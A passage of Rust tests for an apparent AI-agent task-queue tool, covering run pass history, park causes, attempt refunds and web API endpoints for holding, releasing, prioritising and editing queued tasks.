15953    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
15954        use crate::queue::PassCost;
15955        let run = flow_run(RunStatus::Implementing, |s| {
15956            s.passes = vec![
15957                recorded_pass(0, parked(upgrade_cause())),
15958                recorded_pass(1, None),
15959            ];
15960        });
15961        let mut task = flow_task(&[RUN_X, RUN_X]);
15962        task.attempts = 1;
15963        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
15964        let h = task_history(&task, |_| Some(run.clone()));
15965        assert_eq!(h.len(), 2);
15966        assert_eq!(h[0].kind, "competition");
15967        assert_eq!(h[1].kind, "resume");
15968        assert_eq!(
15969            (h[0].exit, h[0].attempt),
15970            (RunExit::Parked, AttemptCost::Refunded)
15971        );
15972        assert!(
15973            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
15974            "{}",
15975            h[0].outcome
15976        );
15977        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
15978        assert!(
15979            h[0].outcome.contains("pass #2 resumed the same run"),
15980            "{}",
15981            h[0].outcome
15982        );
15983        assert!(
15984            h[0].outcome.contains("pass 1 of 2 over run"),
15985            "{}",
15986            h[0].outcome
15987        );
15988        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
15989        assert_eq!(
15990            h[0].exit_label,
15991            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
15992        );
15993        let f = task_flow(&task, &h, 2, None);
15994        // Two passes of one run, one of two attempts consumed.
15995        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
15996        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
15997        assert!(
15998            f.edges[1].label.contains("upgrade 0.121.0"),
15999            "{}",
16000            f.edges[1].label
16001        );
16002        assert!(
16003            f.edges[1].label.contains("resume the same run"),
16004            "{}",
16005            f.edges[1].label
16006        );
16007        assert_eq!(f.nodes[1].note, Some("parked"));
16008    }
16009
16010    #[test]
16011    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16012        let mut a = flow_run(RunStatus::Implementing, |s| {
16013            s.passes = vec![
16014                recorded_pass(0, parked(upgrade_cause())),
16015                recorded_pass(1, None),
16016            ];
16017        });
16018        let mut b = flow_run(RunStatus::Failed, |s| {
16019            s.passes = vec![recorded_pass(0, None)];
16020        });
16021        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16022        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16023        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16024        let mut task = flow_task(&[]);
16025        task.start("a".into());
16026        task.start("b".into());
16027        task.start("a".into());
16028        assert_eq!(task.runs, ["b", "a"]);
16029        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16030        let h = task_history(&task, |id| {
16031            Some(if id == "a" { a.clone() } else { b.clone() })
16032        });
16033        assert_eq!(
16034            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16035            ["a", "b", "a"]
16036        );
16037        assert_eq!(h[0].attempt, AttemptCost::Refunded);
16038        assert!(h[0].outcome.contains("upgrade"));
16039        assert_eq!(h[2].kind, "resume");
16040        assert!(h[2].pass.is_some());
16041        // The old repeated-id format must show the same recorded passes.
16042        task.runs = vec!["a".into(), "b".into(), "a".into()];
16043        let old = task_history(&task, |id| {
16044            Some(if id == "a" { a.clone() } else { b.clone() })
16045        });
16046        assert_eq!(
16047            old.iter()
16048                .map(|v| (&v.id, &v.kind, v.attempt))
16049                .collect::<Vec<_>>(),
16050            h.iter()
16051                .map(|v| (&v.id, &v.kind, v.attempt))
16052                .collect::<Vec<_>>()
16053        );
16054    }
16055
16056    #[test]
16057    fn an_upgrade_whose_target_was_not_known_says_so() {
16058        let run = flow_run(RunStatus::Implementing, |s| {
16059            s.passes = vec![
16060                recorded_pass(
16061                    0,
16062                    parked(crate::run::ParkCause::Upgrade {
16063                        from: "0.121.0".to_owned(),
16064                        to: None,
16065                    }),
16066                ),
16067                recorded_pass(1, None),
16068            ];
16069        });
16070        let task = flow_task(&[RUN_X, RUN_X]);
16071        let h = task_history(&task, |_| Some(run.clone()));
16072        assert!(
16073            h[0].outcome.contains("upgrade from 0.121.0"),
16074            "{}",
16075            h[0].outcome
16076        );
16077        // No settle record: the refund is not claimed.
16078        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16079    }
16080
16081    #[test]
16082    fn each_pass_keeps_its_own_cause_across_several_resumes() {
16083        use crate::queue::PassCost;
16084        use crate::run::ParkCause;
16085        let run = flow_run(RunStatus::Implementing, |s| {
16086            s.passes = vec![
16087                recorded_pass(0, parked(upgrade_cause())),
16088                recorded_pass(
16089                    1,
16090                    parked(ParkCause::Interrupt {
16091                        reason: "task a1b2 asked to run first".to_owned(),
16092                    }),
16093                ),
16094                recorded_pass(2, parked(ParkCause::Operator)),
16095                recorded_pass(3, None),
16096            ];
16097        });
16098        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16099        task.attempts = 1;
16100        task.passes = (0..3)
16101            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16102            .collect();
16103        let h = task_history(&task, |_| Some(run.clone()));
16104        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16105        assert!(
16106            h[1].outcome.contains("task a1b2 asked to run first"),
16107            "{}",
16108            h[1].outcome
16109        );
16110        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16111        assert!(
16112            h[2].outcome.contains("operator asked the loop to park"),
16113            "{}",
16114            h[2].outcome
16115        );
16116        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16117        let f = task_flow(&task, &h, 2, None);
16118        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16119    }
16120
16121    #[test]
16122    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16123        let run = flow_run(RunStatus::Implementing, |s| {
16124            s.passes = vec![
16125                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16126                recorded_pass(1, None),
16127            ];
16128        });
16129        let task = flow_task(&[RUN_X, RUN_X]);
16130        let h = task_history(&task, |_| Some(run.clone()));
16131        assert_eq!(h[0].exit, RunExit::Interrupted);
16132        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16133        assert!(
16134            h[0].outcome.contains("without recording why"),
16135            "{}",
16136            h[0].outcome
16137        );
16138        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16139        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16140    }
16141
16142    #[test]
16143    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16144        use crate::queue::PassCost;
16145        // Three entries, but the run only began keeping passes at the last
16146        // two: the first is legacy and must not be given a cause.
16147        let run = flow_run(RunStatus::Implementing, |s| {
16148            s.passes = vec![
16149                recorded_pass(0, parked(upgrade_cause())),
16150                recorded_pass(1, None),
16151            ];
16152        });
16153        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16154        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16155        let h = task_history(&task, |_| Some(run.clone()));
16156        assert!(h[0].pass.is_none());
16157        assert_eq!(h[0].exit, RunExit::Interrupted);
16158        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16159        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16160        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16161        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16162        // A run with no passes at all is entirely unknown.
16163        let legacy = flow_run(RunStatus::Implementing, |_| {});
16164        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16165        assert!(h.iter().all(|v| v.pass.is_none()));
16166        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16167    }
16168
16169    #[test]
16170    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16171        use crate::queue::PassCost;
16172        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16173        // task. The two entries are passes 0 and 2.
16174        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16175        web.task_entry = false;
16176        let run = flow_run(RunStatus::Implementing, |s| {
16177            s.passes = vec![
16178                recorded_pass(0, parked(upgrade_cause())),
16179                web.clone(),
16180                recorded_pass(2, None),
16181            ];
16182        });
16183        let mut task = flow_task(&[RUN_X, RUN_X]);
16184        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16185        let h = task_history(&task, |_| Some(run.clone()));
16186        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16187        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16188
16189        // Legacy first entry, then a web resume that parked for an upgrade,
16190        // then the daemon's pass: the legacy entry must stay unknown.
16191        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16192        web0.task_entry = false;
16193        let run = flow_run(RunStatus::Implementing, |s| {
16194            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16195        });
16196        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16197        assert!(h[0].pass.is_none());
16198        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16199        assert!(h[1].pass.is_some());
16200    }
16201
16202    #[tokio::test]
16203    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16204        let dir = tempfile::tempdir().unwrap();
16205        let queue = Queue::at(dir.path().join("queue"));
16206        let ui = Arc::new(Ui::new(
16207            queue.clone(),
16208            Questions::at(dir.path().join("questions")),
16209            Talks::at(dir.path().join("talks")),
16210            dir.path().join("runs"),
16211            dir.path().to_path_buf(),
16212            dir.path().to_path_buf(),
16213        ));
16214        let mut t = Task::new(
16215            "recover".into(),
16216            "Inspect".into(),
16217            PathBuf::from("."),
16218            Source::Human,
16219        );
16220        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16221        t.start("run-A".into());
16222        t.release_operator("choice", Some("resume-question"));
16223        t.resume_override = Some(crate::queue::OperatorResume {
16224            question_id: "resume-question".into(),
16225            at: jiff::Timestamp::now(),
16226            conductor_rehold: None,
16227            forced: true,
16228            pinned_run: Some("run-A".into()),
16229        });
16230        t.hold_machine(Some("inspection pending".into()));
16231        t.edit("recover".into(), "Reuse approved PR head".into())
16232            .unwrap();
16233        queue.put(&mut t).unwrap();
16234        let mut cli = t.clone();
16235        cli.release_operator("cli", None);
16236        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16237        let reloaded = queue.get(&t.id).unwrap();
16238        assert_eq!(reply.task.status, TaskStatus::Queued);
16239        assert!(reloaded.resume_override.is_none());
16240        assert_eq!(reloaded.answers, t.answers);
16241        let mut web = reloaded.resumption.unwrap();
16242        let cli = cli.resumption.unwrap();
16243        assert_eq!(web.source, "web");
16244        web.source = cli.source.clone();
16245        web.at = cli.at;
16246        assert_eq!(web, cli);
16247    }
16248
16249    #[tokio::test]
16250    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16251        let f = Fixture::start().await;
16252        let queue = f.queue();
16253        let mut task = Task::new(
16254            "spent".to_owned(),
16255            "Try again".to_owned(),
16256            PathBuf::from("/repo/magi"),
16257            Source::Human,
16258        );
16259        task.start("20260902-140502-bbbb".to_owned());
16260        task.fail("agent gave up", 9);
16261        queue.put(&mut task).expect("file the task");
16262
16263        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16264        assert_eq!(held.status, 200);
16265        assert_eq!(held.json()["status_str"], "held");
16266
16267        let released = f
16268            .post(&format!("/api/queue/{}/release", task.id), None)
16269            .await;
16270        assert_eq!(released.status, 200);
16271        assert_eq!(released.json()["status_str"], "queued");
16272        assert_eq!(released.json()["resumption"]["source"], "web");
16273        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16274        let mut cli = task.clone();
16275        cli.release_operator("cli", None);
16276        let web = queue.get(&task.id).unwrap().resumption.unwrap();
16277        let cli = cli.resumption.unwrap();
16278        assert_eq!(web.instruction, cli.instruction);
16279        assert_eq!(web.answers_through, cli.answers_through);
16280        assert_eq!(web.runs_through, cli.runs_through);
16281        assert_eq!(web.cleared_reason, cli.cleared_reason);
16282        assert_eq!(
16283            released.json()["attempts"],
16284            0,
16285            "release is a real second chance, not an instant re-hold"
16286        );
16287        assert_eq!(
16288            queue.get(&task.id).expect("reload").status,
16289            TaskStatus::Queued,
16290            "the change is on disk, not only in the reply"
16291        );
16292        assert!(
16293            !f.home
16294                .path()
16295                .join("queue")
16296                .join(format!("{}.lock", task.id))
16297                .exists(),
16298            "the claim the mutation took is released again"
16299        );
16300    }
16301
16302    #[tokio::test]
16303    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16304        let f = Fixture::start().await;
16305        let queue = f.queue();
16306        let mut task = Task::new(
16307            "busy".to_owned(),
16308            "Running right now".to_owned(),
16309            PathBuf::from("/repo/magi"),
16310            Source::Human,
16311        );
16312        queue.put(&mut task).expect("file the task");
16313        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16314
16315        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16316
16317        assert_eq!(res.status, 409);
16318        assert_eq!(
16319            queue.get(&task.id).expect("reload").status,
16320            TaskStatus::Queued,
16321            "the refused hold changed nothing"
16322        );
16323    }
16324
16325    #[tokio::test]
16326    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16327        let f = Fixture::start().await;
16328        let queue = f.queue();
16329        let mut task = Task::new(
16330            "waiting on the migration".to_owned(),
16331            "Do the thing".to_owned(),
16332            PathBuf::from("/repo/magi"),
16333            Source::Human,
16334        );
16335        queue.put(&mut task).expect("file the task");
16336
16337        let held = f
16338            .post(
16339                &format!("/api/queue/{}/hold", task.id),
16340                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16341            )
16342            .await;
16343        assert_eq!(held.status, 200, "{}", held.body);
16344        assert_eq!(held.json()["status_str"], "held");
16345        assert_eq!(
16346            held.json()["hold_reason"],
16347            "waiting for 20260101-000000-aaaa to land"
16348        );
16349
16350        let listed = f.get("/api/queue").await.json();
16351        assert_eq!(
16352            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16353            "the card reads the reason off the same list route"
16354        );
16355
16356        // A hold with no body at all must keep working - most holds have no
16357        // reason to give.
16358        let mut plain = Task::new(
16359            "no reason given".to_owned(),
16360            "Do another thing".to_owned(),
16361            PathBuf::from("/repo/magi"),
16362            Source::Human,
16363        );
16364        queue.put(&mut plain).expect("file the task");
16365        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16366        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16367        assert!(held_plain.json()["hold_reason"].is_null());
16368
16369        let released = f
16370            .post(&format!("/api/queue/{}/release", task.id), None)
16371            .await;
16372        assert_eq!(released.status, 200);
16373        assert!(
16374            released.json()["hold_reason"].is_null(),
16375            "a release must clear the reason so the next hold does not inherit it"
16376        );
16377    }
16378
16379    #[test]
16380    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16381        for urgent in [true, false] {
16382            let body: UrgentBody =
16383                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16384            assert_eq!(body.urgent, urgent);
16385        }
16386        for input in [
16387            r#"{}"#,
16388            r#"{"urgent":null}"#,
16389            r#"{"urgent":"true"}"#,
16390            r#"{"urgent":1}"#,
16391            r#"{"urgent":true,"extra":false}"#,
16392        ] {
16393            assert!(
16394                serde_json::from_str::<UrgentBody>(input).is_err(),
16395                "{input}"
16396            );
16397        }
16398    }
16399
16400    #[tokio::test]
16401    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16402        let home = TempDir::new().unwrap();
16403        let q = Queue::at(home.path().join("queue"));
16404        let ui = Arc::new(Ui::new(
16405            q.clone(),
16406            Questions::at(home.path().join("questions")),
16407            Talks::at(home.path().join("talks")),
16408            home.path().join("runs"),
16409            home.path().into(),
16410            home.path().into(),
16411        ));
16412        let mut task = Task::new(
16413            "urgent handler".into(),
16414            "keep".into(),
16415            home.path().into(),
16416            Source::Human,
16417        );
16418        for status in [TaskStatus::Queued, TaskStatus::Held] {
16419            task.status = status;
16420            q.put(&mut task).unwrap();
16421            for urgent in [true, true, false, false] {
16422                let saved = queue_urgent(
16423                    State(Arc::clone(&ui)),
16424                    Path(task.short().into()),
16425                    Ok(Json(UrgentBody { urgent })),
16426                )
16427                .await
16428                .unwrap();
16429                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16430                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16431            }
16432        }
16433        task.status = TaskStatus::Queued;
16434        q.put(&mut task).unwrap();
16435        let claim = q.claim(&task.id).unwrap();
16436        let error = queue_urgent(
16437            State(Arc::clone(&ui)),
16438            Path(task.id.clone()),
16439            Ok(Json(UrgentBody { urgent: true })),
16440        )
16441        .await
16442        .unwrap_err();
16443        assert_eq!(error.status, StatusCode::CONFLICT);
16444        assert!(error.message.contains("released"));
16445        drop(claim);
16446        for status in [
16447            TaskStatus::Running,
16448            TaskStatus::Done,
16449            TaskStatus::Failed,
16450            TaskStatus::Blocked,
16451            TaskStatus::Parked,
16452        ] {
16453            task.status = status;
16454            q.put(&mut task).unwrap();
16455            let error = queue_urgent(
16456                State(Arc::clone(&ui)),
16457                Path(task.id.clone()),
16458                Ok(Json(UrgentBody { urgent: false })),
16459            )
16460            .await
16461            .unwrap_err();
16462            assert_eq!(error.status, StatusCode::BAD_REQUEST);
16463            assert!(error.message.contains(status.as_str()));
16464        }
16465    }
16466
16467    #[tokio::test]
16468    async fn urgent_api_updates_preserves_and_validates_tasks() {
16469        let f = Fixture::start().await;
16470        let q = f.queue();
16471        let mut t = Task::new(
16472            "urgent API".into(),
16473            "unchanged".into(),
16474            PathBuf::from("/repo/magi"),
16475            Source::Human,
16476        );
16477        t.attempts = 2;
16478        t.priority = 9;
16479        t.interrupt = true;
16480        t.hold_reason = Some("waiting for approval".into());
16481        for status in [TaskStatus::Queued, TaskStatus::Held] {
16482            t.status = status;
16483            q.put(&mut t).unwrap();
16484            for urgent in [true, true, false, false] {
16485                let response = f
16486                    .post(
16487                        &format!("/api/queue/{}/urgent", t.short()),
16488                        Some(&format!("{{\"urgent\":{urgent}}}")),
16489                    )
16490                    .await;
16491                assert_eq!(response.status, 200, "{}", response.body);
16492                assert_eq!(response.json()["urgent"], urgent);
16493                let saved = q.get(&t.id).unwrap();
16494                let mut before = serde_json::to_value(&t).unwrap();
16495                let mut after = serde_json::to_value(saved).unwrap();
16496                before["urgent"] = urgent.into();
16497                before.as_object_mut().unwrap().remove("updated_at");
16498                after.as_object_mut().unwrap().remove("updated_at");
16499                assert_eq!(after, before);
16500            }
16501        }
16502        let route = format!("/api/queue/{}/urgent", t.id);
16503        for body in [
16504            r#"{}"#,
16505            r#"{"urgent":null}"#,
16506            r#"{"urgent":"true"}"#,
16507            r#"{"urgent":1}"#,
16508            r#"{"urgent":true,"extra":false}"#,
16509            "{",
16510        ] {
16511            assert_eq!(f.post(&route, Some(body)).await.status, 400);
16512        }
16513        t.status = TaskStatus::Queued;
16514        q.put(&mut t).unwrap();
16515        let claim = q.claim(&t.id).unwrap();
16516        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16517        assert_eq!(response.status, 409, "{}", response.body);
16518        assert!(!q.get(&t.id).unwrap().urgent);
16519        drop(claim);
16520        for status in [
16521            TaskStatus::Running,
16522            TaskStatus::Done,
16523            TaskStatus::Failed,
16524            TaskStatus::Blocked,
16525            TaskStatus::Parked,
16526        ] {
16527            t.status = status;
16528            q.put(&mut t).unwrap();
16529            for urgent in [true, false] {
16530                let response = f
16531                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16532                    .await;
16533                assert_eq!(response.status, 400, "{}", response.body);
16534                assert!(response.body.contains(status.as_str()));
16535                assert!(response.body.contains("queued or held"));
16536                assert!(!q.get(&t.id).unwrap().urgent);
16537            }
16538        }
16539        assert_eq!(
16540            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16541                .await
16542                .status,
16543            404
16544        );
16545    }
16546
16547    #[tokio::test]
16548    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16549        let f = Fixture::start().await;
16550        let queue = f.queue();
16551        let mut older = Task::new(
16552            "filed first".to_owned(),
16553            "x".to_owned(),
16554            PathBuf::from("/repo/magi"),
16555            Source::Human,
16556        );
16557        older.id = "20260101-000001-aaaa".to_owned();
16558        let mut newer = Task::new(
16559            "filed second".to_owned(),
16560            "x".to_owned(),
16561            PathBuf::from("/repo/magi"),
16562            Source::Human,
16563        );
16564        newer.id = "20260101-000002-bbbb".to_owned();
16565        queue.put(&mut older).expect("file older");
16566        queue.put(&mut newer).expect("file newer");
16567
16568        // Equal priority: the newer task leads, the same order the old
16569        // newest-first `list()` already gave every equal-priority queue.
16570        let before = f.get("/api/queue").await.json();
16571        assert_eq!(before[0]["id"], newer.id);
16572        assert_eq!(before[1]["id"], older.id);
16573
16574        // Raising the *older* task is the meaningful case: it can only lead
16575        // now because its priority says so, not because it happens to be
16576        // newest.
16577        let raised = f
16578            .post(
16579                &format!("/api/queue/{}/priority", older.id),
16580                Some(r#"{"priority":10}"#),
16581            )
16582            .await;
16583        assert_eq!(raised.status, 200, "{}", raised.body);
16584        assert_eq!(raised.json()["priority"], 10);
16585
16586        let after = f.get("/api/queue").await.json();
16587        let names: Vec<&str> = after
16588            .as_array()
16589            .unwrap()
16590            .iter()
16591            .map(|t| t["id"].as_str().unwrap())
16592            .collect();
16593        // Highest priority first, which is the order next_runnable and
16594        // `magi task list` both use - GET /api/queue must agree with it
16595        // immediately, not just once the loop claims the task.
16596        assert_eq!(names[0], older.id, "the raised task now sorts first");
16597    }
16598
16599    #[tokio::test]
16600    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16601        let dir = TempDir::new().unwrap();
16602        let q = Queue::at(dir.path().join("queue"));
16603        let ui = Arc::new(Ui::new(
16604            q.clone(),
16605            Questions::at(dir.path().join("questions")),
16606            Talks::at(dir.path().join("talks")),
16607            dir.path().join("runs"),
16608            dir.path().to_path_buf(),
16609            dir.path().to_path_buf(),
16610        ));
16611        let mut t = Task::new(
16612            "budget".into(),
16613            "keep".into(),
16614            dir.path().into(),
16615            Source::Human,
16616        );
16617        t.attempts = 2;
16618        t.runs.push("prior-run".into());
16619        t.hold_manual(Some("waiting".into()));
16620        q.put(&mut t).unwrap();
16621        let change = |value| {
16622            queue_attempt_limit(
16623                State(ui.clone()),
16624                Path(t.id.clone()),
16625                Ok(Json(AttemptLimitBody {
16626                    attempt_limit: value,
16627                })),
16628            )
16629        };
16630        for value in [
16631            serde_json::json!(3),
16632            serde_json::Value::Null,
16633            serde_json::json!(1),
16634        ] {
16635            let response = change(value.clone()).await.unwrap();
16636            assert_eq!(
16637                serde_json::to_value(response.0).unwrap()["attempt_limit"],
16638                value
16639            );
16640            let saved = q.get(&t.id).unwrap();
16641            assert_eq!(
16642                serde_json::to_value(&saved).unwrap()["attempt_limit"],
16643                value
16644            );
16645            assert_eq!(saved.status, TaskStatus::Held);
16646            assert_eq!(saved.attempts, t.attempts);
16647            assert_eq!(saved.runs, t.runs);
16648            assert_eq!(saved.hold_reason, t.hold_reason);
16649            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
16650                .await
16651                .unwrap()
16652                .0;
16653            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
16654            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
16655            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
16656            assert_eq!(outcome.max_attempts, detail.max_attempts);
16657        }
16658        for value in [
16659            serde_json::json!(0),
16660            serde_json::json!(-1),
16661            serde_json::json!(1.5),
16662            serde_json::json!("3"),
16663            serde_json::json!(true),
16664        ] {
16665            assert_eq!(
16666                change(value).await.err().unwrap().status,
16667                StatusCode::BAD_REQUEST
16668            );
16669        }
16670        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
16671        let claim = q.claim(&t.id).unwrap();
16672        assert_eq!(
16673            change(serde_json::json!(4)).await.err().unwrap().status,
16674            StatusCode::CONFLICT
16675        );
16676        drop(claim);
16677        for status in [
16678            TaskStatus::Running,
16679            TaskStatus::Done,
16680            TaskStatus::Failed,
16681            TaskStatus::Blocked,
16682            TaskStatus::Parked,
16683        ] {
16684            let mut stored = q.get(&t.id).unwrap();
16685            stored.status = status;
16686            q.put(&mut stored).unwrap();
16687            assert_eq!(
16688                change(serde_json::json!(4)).await.err().unwrap().status,
16689                StatusCode::BAD_REQUEST
16690            );
16691            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
16692        }
16693        let mut stored = q.get(&t.id).unwrap();
16694        stored.status = TaskStatus::Queued;
16695        q.put(&mut stored).unwrap();
16696        let _ = change(serde_json::Value::Null).await.unwrap();
16697        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
16698    }
16699
16700    #[tokio::test]
16701    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
16702        let dir = TempDir::new().unwrap();
16703        let repo = dir.path().join("repo");
16704        std::fs::create_dir(&repo).unwrap();
16705        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
16706        let q = Queue::at(dir.path().join("queue"));
16707        let ui = Arc::new(Ui::new(
16708            q.clone(),
16709            Questions::at(dir.path().join("questions")),
16710            Talks::at(dir.path().join("talks")),
16711            dir.path().join("runs"),
16712            dir.path().to_path_buf(),
16713            repo.clone(),
16714        ));
16715        let mut t = Task::new(
16716            "seats".into(),
16717            "keep instruction".into(),
16718            repo,
16719            Source::Human,
16720        );
16721        t.runs.push("prior-run".into());
16722        t.hold_manual(Some("waiting".into()));
16723        q.put(&mut t).unwrap();
16724        let change = |count| {
16725            queue_implementers(
16726                State(ui.clone()),
16727                Path(t.id.clone()),
16728                Ok(Json(ImplementersBody {
16729                    implementers: count,
16730                })),
16731            )
16732        };
16733        for count in [2, 1, 2] {
16734            let response = change(count).await.unwrap();
16735            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
16736            let saved = q.get(&t.id).unwrap();
16737            assert_eq!(saved.implementers(), Some(usize::from(count)));
16738            assert_eq!(saved.runs, t.runs);
16739            assert_eq!(saved.instruction, t.instruction);
16740        }
16741        for count in [0, 4] {
16742            assert_eq!(
16743                change(count).await.err().unwrap().status,
16744                StatusCode::BAD_REQUEST
16745            );
16746        }
16747        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
16748        let claim = q.claim(&t.id).unwrap();
16749        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
16750        drop(claim);
16751        for status in [
16752            TaskStatus::Running,
16753            TaskStatus::Done,
16754            TaskStatus::Failed,
16755            TaskStatus::Blocked,
16756            TaskStatus::Parked,
16757        ] {
16758            let mut stored = q.get(&t.id).unwrap();
16759            stored.status = status;
16760            q.put(&mut stored).unwrap();
16761            assert_eq!(
16762                change(1).await.err().unwrap().status,
16763                StatusCode::BAD_REQUEST
16764            );
16765            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
16766        }
16767    }
16768
16769    #[tokio::test]
16770    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
16771        let f = Fixture::start().await;
16772        let queue = f.queue();
16773        let mut task = Task::new(
16774            "in flight".to_owned(),
16775            "x".to_owned(),
16776            PathBuf::from("/repo/magi"),
16777            Source::Human,
16778        );
16779        task.start("20260902-140502-bbbb".to_owned());
16780        queue.put(&mut task).expect("file the task");
16781
16782        let res = f
16783            .post(
16784                &format!("/api/queue/{}/priority", task.id),
16785                Some(r#"{"priority":9}"#),
16786            )
16787            .await;
16788        assert_eq!(res.status, 400, "{}", res.body);
16789        assert!(
16790            res.json()["error"]
16791                .as_str()
16792                .is_some_and(|e| e.contains("running")),
16793            "{}",
16794            res.body
16795        );
16796        assert_eq!(
16797            queue.get(&task.id).expect("reload").priority,
16798            0,
16799            "the refused write must not partially apply"
16800        );
16801    }
16802
16803    #[tokio::test]
16804    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
16805        let f = Fixture::start().await;
16806        let queue = f.queue();
16807        let mut task = Task::new(
16808            "old title".to_owned(),
16809            "old instruction".to_owned(),
16810            PathBuf::from("/repo/magi"),
16811            Source::Agent {
16812                run: "20260101-000000-beef".to_owned(),
16813                node: "implement".to_owned(),
16814            },
16815        );
16816        task.runs.push("20260101-000000-beef".to_owned());
16817        queue.put(&mut task).expect("file the task");
16818        let created_at = task.created_at;
16819
16820        let edited = f
16821            .post(
16822                &format!("/api/queue/{}/edit", task.id),
16823                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
16824            )
16825            .await;
16826        assert_eq!(edited.status, 200, "{}", edited.body);
16827        let body = edited.json();
16828        assert_eq!(body["title"], "new title");
16829        assert_eq!(body["instruction"], "new instruction");
16830        assert_eq!(body["id"], task.id, "editing must not mint a new id");
16831        assert_eq!(body["created_at"], created_at.to_string());
16832        assert_eq!(
16833            body["source"]["kind"], "agent",
16834            "editing a task an agent filed must not turn it human: {body}"
16835        );
16836        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
16837
16838        let reloaded = queue.get(&task.id).expect("reload");
16839        assert_eq!(reloaded.title, "new title");
16840        assert_eq!(reloaded.instruction, "new instruction");
16841    }
16842
16843    #[tokio::test]
16844    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
